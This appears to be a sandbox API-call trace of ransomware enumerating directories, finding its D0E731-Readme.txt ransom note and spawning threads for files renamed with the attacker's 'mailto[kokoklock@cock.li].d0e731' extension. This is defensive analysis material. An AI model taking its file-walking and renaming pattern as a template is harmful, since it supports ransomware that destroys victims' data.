lpFindFileData=0x2f96220*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.697] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.697] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.697] FindNextFileW (in: hFindFile=0x2f7ff20, lpFindFileData=0x2f96220 | out: lpFindFileData=0x2f96220*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.698] FindClose (in: hFindFile=0x2f7ff20 | out: hFindFile=0x2f7ff20) returned 1 [0165.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96220) returned 1 [0165.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87350) returned 1 [0165.698] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806e0) returned 1 [0165.698] RtlExitUserThread (Status=0x0) Thread: id = 1553 os_tid = 0xf20 [0165.278] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87548 [0165.278] wcscpy (in: _Dest=0x2f87548, _Source="C:\\588bce7c90097ed212\\1029" | out: _Dest="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029" [0165.278] wcscat (in: _Dest=0x2f87548, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\" [0165.278] wcscat (in: _Dest=0x2f87548, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1029\\*") returned="C:\\588bce7c90097ed212\\1029\\*" [0165.278] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fa9a38 [0165.278] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x2fa9a38 | out: lpFindFileData=0x2fa9a38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x83ced794, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83ced794, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f7ffa0 [0165.280] wcscmp (_String1=".", _String2=".") returned 0 [0165.280] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fa9a38 | out: lpFindFileData=0x2fa9a38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x83ced794, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83ced794, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.280] wcscmp (_String1="..", _String2=".") returned 1 [0165.280] wcscmp (_String1="..", _String2="..") returned 0 [0165.280] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fa9a38 | out: lpFindFileData=0x2fa9a38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83ced794, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x83ced794, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x83ced794, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.280] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.280] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.280] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fa9a38 | out: lpFindFileData=0x2fa9a38*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x82bca820, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xf4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.280] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.280] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.280] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2f6a4a8 [0165.280] wcscpy (in: _Dest=0x2f6a4a8, _Source="C:\\588bce7c90097ed212\\1029" | out: _Dest="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029" [0165.280] wcscat (in: _Dest=0x2f6a4a8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\" [0165.280] wcscat (in: _Dest=0x2f6a4a8, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6a4a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0165.693] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fa9a38 | out: lpFindFileData=0x2fa9a38*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x83cc744c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13d0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.693] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.693] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.693] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6d4b8 [0165.693] wcscpy (in: _Dest=0x2f6d4b8, _Source="C:\\588bce7c90097ed212\\1029" | out: _Dest="C:\\588bce7c90097ed212\\1029") returned="C:\\588bce7c90097ed212\\1029" [0165.693] wcscat (in: _Dest=0x2f6d4b8, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1029\\") returned="C:\\588bce7c90097ed212\\1029\\" [0165.693] wcscat (in: _Dest=0x2f6d4b8, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d4b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0165.694] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fa9a38 | out: lpFindFileData=0x2fa9a38*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.694] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.694] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.694] FindNextFileW (in: hFindFile=0x2f7ffa0, lpFindFileData=0x2fa9a38 | out: lpFindFileData=0x2fa9a38*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.694] FindClose (in: hFindFile=0x2f7ffa0 | out: hFindFile=0x2f7ffa0) returned 1 [0165.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa9a38) returned 1 [0165.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0165.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0165.695] RtlExitUserThread (Status=0x0) Thread: id = 1554 os_tid = 0xf24 [0165.280] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87230 [0165.281] wcscpy (in: _Dest=0x2f87230, _Source="C:\\588bce7c90097ed212\\1030" | out: _Dest="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030" [0165.281] wcscat (in: _Dest=0x2f87230, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\" [0165.281] wcscat (in: _Dest=0x2f87230, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1030\\*") returned="C:\\588bce7c90097ed212\\1030\\*" [0165.281] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2fa9c90 [0165.281] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2fa9c90 | out: lpFindFileData=0x2fa9c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x841b2220, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x841b2220, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80060 [0165.283] wcscmp (_String1=".", _String2=".") returned 0 [0165.283] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2fa9c90 | out: lpFindFileData=0x2fa9c90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x841b2220, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x841b2220, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.283] wcscmp (_String1="..", _String2=".") returned 1 [0165.283] wcscmp (_String1="..", _String2="..") returned 0 [0165.283] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2fa9c90 | out: lpFindFileData=0x2fa9c90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84165d03, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x84165d03, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x841b2220, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.283] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.283] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.283] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2fa9c90 | out: lpFindFileData=0x2fa9c90*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x82bf0b18, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xdb2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.283] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.283] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.283] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2f63a70 [0165.283] wcscpy (in: _Dest=0x2f63a70, _Source="C:\\588bce7c90097ed212\\1030" | out: _Dest="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030" [0165.283] wcscat (in: _Dest=0x2f63a70, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\" [0165.283] wcscat (in: _Dest=0x2f63a70, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f63a70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0165.686] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2fa9c90 | out: lpFindFileData=0x2fa9c90*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x84165d03, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x13074, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.686] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.686] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.686] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6d410 [0165.686] wcscpy (in: _Dest=0x2f6d410, _Source="C:\\588bce7c90097ed212\\1030" | out: _Dest="C:\\588bce7c90097ed212\\1030") returned="C:\\588bce7c90097ed212\\1030" [0165.686] wcscat (in: _Dest=0x2f6d410, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\" [0165.686] wcscat (in: _Dest=0x2f6d410, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0165.687] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2fa9c90 | out: lpFindFileData=0x2fa9c90*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.687] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.687] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.687] FindNextFileW (in: hFindFile=0x2f80060, lpFindFileData=0x2fa9c90 | out: lpFindFileData=0x2fa9c90*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.687] FindClose (in: hFindFile=0x2f80060 | out: hFindFile=0x2f80060) returned 1 [0165.688] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa9c90) returned 1 [0165.688] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87230) returned 1 [0165.688] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80720) returned 1 [0165.688] RtlExitUserThread (Status=0x0) Thread: id = 1555 os_tid = 0xf28 [0165.285] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f87740 [0165.285] wcscpy (in: _Dest=0x2f87740, _Source="C:\\588bce7c90097ed212\\1031" | out: _Dest="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031" [0165.285] wcscat (in: _Dest=0x2f87740, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\" [0165.285] wcscat (in: _Dest=0x2f87740, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1031\\*") returned="C:\\588bce7c90097ed212\\1031\\*" [0165.285] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2faa2f0 [0165.285] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2faa2f0 | out: lpFindFileData=0x2faa2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x818807c8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818807c8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f800a0 [0165.287] wcscmp (_String1=".", _String2=".") returned 0 [0165.287] FindNextFileW (in: hFindFile=0x2f800a0, lpFindFileData=0x2faa2f0 | out: lpFindFileData=0x2faa2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x818807c8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x818807c8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.287] wcscmp (_String1="..", _String2=".") returned 1 [0165.287] wcscmp (_String1="..", _String2="..") returned 0 [0165.287] FindNextFileW (in: hFindFile=0x2f800a0, lpFindFileData=0x2faa2f0 | out: lpFindFileData=0x2faa2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8180e08c, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8180e08c, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8180e08c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0165.287] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0165.287] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0165.287] FindNextFileW (in: hFindFile=0x2f800a0, lpFindFileData=0x2faa2f0 | out: lpFindFileData=0x2faa2f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x8180e08c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="EULART~1.D0E")) returned 1 [0165.287] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.287] wcscmp (_String1="eula.rtf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.287] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x8a) returned 0x2f8d860 [0165.287] wcscpy (in: _Dest=0x2f8d860, _Source="C:\\588bce7c90097ed212\\1031" | out: _Dest="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031" [0165.287] wcscat (in: _Dest=0x2f8d860, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\" [0165.287] wcscat (in: _Dest=0x2f8d860, _Source="eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1031\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0165.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f8d860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c [0165.682] FindNextFileW (in: hFindFile=0x2f800a0, lpFindFileData=0x2faa2f0 | out: lpFindFileData=0x2faa2f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x818807c8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1426a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="LOCALI~1.D0E")) returned 1 [0165.683] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0165.683] wcscmp (_String1="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0165.683] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x9c) returned 0x2f6d368 [0165.683] wcscpy (in: _Dest=0x2f6d368, _Source="C:\\588bce7c90097ed212\\1031" | out: _Dest="C:\\588bce7c90097ed212\\1031") returned="C:\\588bce7c90097ed212\\1031" [0165.683] wcscat (in: _Dest=0x2f6d368, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1031\\") returned="C:\\588bce7c90097ed212\\1031\\" [0165.683] wcscat (in: _Dest=0x2f6d368, _Source="LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0165.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d368, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x644 [0165.683] FindNextFileW (in: hFindFile=0x2f800a0, lpFindFileData=0x2faa2f0 | out: lpFindFileData=0x2faa2f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0165.683] wcscmp (_String1="SetupResources.dll", _String2=".") returned 1 [0165.683] wcscmp (_String1="SetupResources.dll", _String2="..") returned 1 [0165.684] FindNextFileW (in: hFindFile=0x2f800a0, lpFindFileData=0x2faa2f0 | out: lpFindFileData=0x2faa2f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0165.684] FindClose (in: hFindFile=0x2f800a0 | out: hFindFile=0x2f800a0) returned 1 [0165.684] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa2f0) returned 1 [0165.684] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87740) returned 1 [0165.684] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f80760) returned 1 [0165.684] RtlExitUserThread (Status=0x0) Thread: id = 1556 os_tid = 0xf2c [0165.288] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x3a) returned 0x2f871a0 [0165.288] wcscpy (in: _Dest=0x2f871a0, _Source="C:\\588bce7c90097ed212\\1032" | out: _Dest="C:\\588bce7c90097ed212\\1032") returned="C:\\588bce7c90097ed212\\1032" [0165.288] wcscat (in: _Dest=0x2f871a0, _Source="\\" | out: _Dest="C:\\588bce7c90097ed212\\1032\\") returned="C:\\588bce7c90097ed212\\1032\\" [0165.288] wcscat (in: _Dest=0x2f871a0, _Source="*" | out: _Dest="C:\\588bce7c90097ed212\\1032\\*") returned="C:\\588bce7c90097ed212\\1032\\*" [0165.288] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2faa548 [0165.288] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x2faa548 | out: lpFindFileData=0x2faa548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x83dac201, 